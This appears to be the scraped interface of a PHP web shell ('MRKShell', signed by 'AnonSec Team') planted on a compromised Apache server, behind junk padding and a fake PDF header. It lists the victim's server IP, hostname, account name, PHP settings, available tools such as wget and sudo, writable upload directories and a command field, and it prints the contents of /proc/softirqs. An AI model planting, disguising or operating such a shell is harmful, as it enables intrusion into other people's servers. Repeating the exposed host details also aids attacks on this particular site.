...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         14         11         23         84         21         14         17         23          5         10         15         31         10         16         14         15          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   41057020   62814846   63830844   68521644   61039019   69596763   68228224   63358780   65267941   69602666   69232048   64508683   59050965   59796035   62372033   60857021          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:     616014     796926     797874     651928     452113     490517     288745     291673     630362     403229     925016     505645     897019     269448     461166     667797          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX:  141145787  180756843  181466590  141657016   99624423  109849339   69508066   74801613  145638485   85457605  200402321  120124367   48464070   68306598   98967002  155556833          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:       2362       3100       3810       3831       2895       2192       4915       3008       2548       3716       3530       3921       4700       5199       2650       3141          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:   27661253   34683166   34345270   27822801   18799535   21019951   14184123   14071309   26570933   15947017   36494803   22581643    9942124   12926332   19474958   28980750          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED:  944828566  492015158  294633091  245452772  227403831  240628687  221264874  209616255  207213950  215217860  224768528  214957443  198028724  203426620  223231722  213598104          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:      23169      39150      25109      14558      13744      16666       8094      11567      41472      11232      49063      25004       2809      10628      13016      22432          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  749956999  631552925  626381444  654153229  800071798  650458061  588092157  639293850  682826582  667999332  686856460  682202875  630612413  634226175  733367599  676280503          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Anon7 - 2022
AnonSec Team